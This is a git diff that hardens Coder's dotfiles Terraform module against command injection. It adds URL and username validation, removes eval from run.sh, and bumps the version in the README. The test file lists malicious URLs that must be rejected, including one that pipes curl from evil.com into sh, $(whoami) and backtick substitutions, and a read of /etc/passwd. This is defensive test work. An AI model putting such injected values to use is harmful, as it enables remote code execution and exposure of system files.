diff --git a/registry/coder/modules/dotfiles/README.md b/registry/coder/modules/dotfiles/README.md index e35033a65..7d994c1e6 100644 --- a/registry/coder/modules/dotfiles/README.md +++ b/registry/coder/modules/dotfiles/README.md @@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } ``` @@ -31,7 +31,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } ``` @@ -42,7 +42,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id user = "root" } @@ -54,14 +54,14 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } module "dotfiles-root" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id user = "root" dotfiles_uri = module.dotfiles.dotfiles_uri @@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id default_dotfiles_uri = "https://github.com/coder/dotfiles" } diff --git a/registry/coder/modules/dotfiles/main.test.ts b/registry/coder/modules/dotfiles/main.test.ts index 8c82cd1e0..90fe91c83 100644 --- a/registry/coder/modules/dotfiles/main.test.ts +++ b/registry/coder/modules/dotfiles/main.test.ts @@ -12,20 +12,47 @@ describe("dotfiles", async () => { agent_id: "foo", }); - it("default output", async () => { + it("default output is empty string", async () => { const state = await runTerraformApply(import.meta.dir, { agent_id: "foo", }); expect(state.outputs.dotfiles_uri.value).toBe(""); }); - it("set a default dotfiles_uri", async () => { - const default_dotfiles_uri = "foo"; - const state = await runTerraformApply(import.meta.dir, { - agent_id: "foo", - default_dotfiles_uri, - }); - expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri); + it("accepts valid git URL formats", async () => { + const validUrls = [ + "https://github.com/coder/dotfiles", + "https://github.com/coder/dotfiles.git", + "git@github.com:coder/dotfiles.git", + "git://github.com/coder/dotfiles.git", + "ssh://git@github.com/coder/dotfiles.git", + ]; + for (const url of validUrls) { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + dotfiles_uri: url, + }); + expect(state.outputs.dotfiles_uri.value).toBe(url); + } + }); + + it("rejects invalid or malicious URLs", async () => { + const invalidUrls = [ + "https://github.com/user/repo; curl http://evil.com | sh", + "https://github.com/$(whoami)/repo", + "https://github.com/`id`/repo", + "https://github.com/user/repo|cat /etc/passwd", + "file:///etc/passwd", + "not-a-valid-url", + ]; + for (const url of invalidUrls) { + await expect( + runTerraformApply(import.meta.dir, { + agent_id: "foo", + dotfiles_uri: url, + }), + ).rejects.toThrow(); + } }); it("set custom order for coder_parameter", async () => { diff --git a/registry/coder/modules/dotfiles/main.tf b/registry/coder/modules/dotfiles/main.tf index 9dfb7240e..760f41811 100644 --- a/registry/coder/modules/dotfiles/main.tf +++ b/registry/coder/modules/dotfiles/main.tf @@ -36,19 +36,40 @@ variable "default_dotfiles_uri" { type = string description = "The default dotfiles URI if the workspace user does not provide one" default = "" + + validation { + condition = ( + var.default_dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "dotfiles_uri" { type = string description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)" + default = null - default = null + validation { + condition = ( + var.dotfiles_uri == null || + var.dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "user" { type = string description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)" default = null + + validation { + condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user)) + error_message = "Must be a valid username without special characters." + } } variable "coder_parameter_order" { @@ -73,6 +94,11 @@ data "coder_parameter" "dotfiles_uri" { description = var.description mutable = true icon = "/icon/dotfiles.svg" + + validation { + regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$" + error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } locals { diff --git a/registry/coder/modules/dotfiles/run.sh b/registry/coder/modules/dotfiles/run.sh index 912295899..a068aca79 100644 --- a/registry/coder/modules/dotfiles/run.sh +++ b/registry/coder/modules/dotfiles/run.sh @@ -5,6 +5,19 @@ set -euo pipefail DOTFILES_URI="${DOTFILES_URI}" DOTFILES_USER="${DOTFILES_USER}" +# Validate DOTFILES_URI to prevent command injection (defense in depth) +if [ -n "$DOTFILES_URI" ]; then + # shellcheck disable=SC2250 + if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then + echo "ERROR: DOTFILES_URI contains invalid characters" >&2 + exit 1 + fi + if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then + echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2 + exit 1 + fi +fi + # shellcheck disable=SC2157 if [ -n "$${DOTFILES_URI// }" ]; then if [ -z "$DOTFILES_USER" ]; then @@ -16,12 +29,17 @@ if [ -n "$${DOTFILES_URI// }" ]; then if [ "$DOTFILES_USER" = "$USER" ]; then coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log else - # The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280 - # eval echo ~coder -> "/home/coder" - # eval echo ~root -> "/root" + if command -v getent > /dev/null 2>&1; then + DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6) + else + DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd) + fi + if [ -z "$DOTFILES_USER_HOME" ]; then + echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2 + exit 1 + fi - CODER_BIN=$(which coder) - DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER") - sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log" + CODER_BIN=$(command -v coder) + sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log" fi fi